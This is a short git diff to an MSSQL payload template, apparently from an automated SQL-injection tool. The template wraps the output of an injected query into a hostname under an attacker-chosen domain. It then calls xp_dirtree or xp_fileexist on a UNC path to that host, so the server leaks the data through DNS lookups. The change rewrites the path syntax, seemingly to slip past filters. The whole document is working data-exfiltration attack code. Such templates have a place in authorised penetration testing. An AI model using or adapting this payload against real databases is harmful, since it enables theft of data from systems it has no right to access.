diff --git a/data/procs/mssqlserver/dns_request.sql b/data/procs/mssqlserver/dns_request.sql
index a269c7e16f8..782d396086d 100644
--- a/data/procs/mssqlserver/dns_request.sql
+++ b/data/procs/mssqlserver/dns_request.sql
@@ -1,4 +1,4 @@
 DECLARE @host varchar(1024);
 SELECT @host='%PREFIX%.'+(%QUERY%)+'.%SUFFIX%.%DOMAIN%';
-EXEC('master..xp_dirtree "\\'+@host+'\%RANDSTR1%"')
-# or EXEC('master..xp_fileexist "\\'+@host+'\%RANDSTR1%"')
+EXEC('master..xp_dirtree"//'+@host+'/%RANDSTR1%"')
+# or EXEC('master..xp_fileexist"//'+@host+'/%RANDSTR1%"')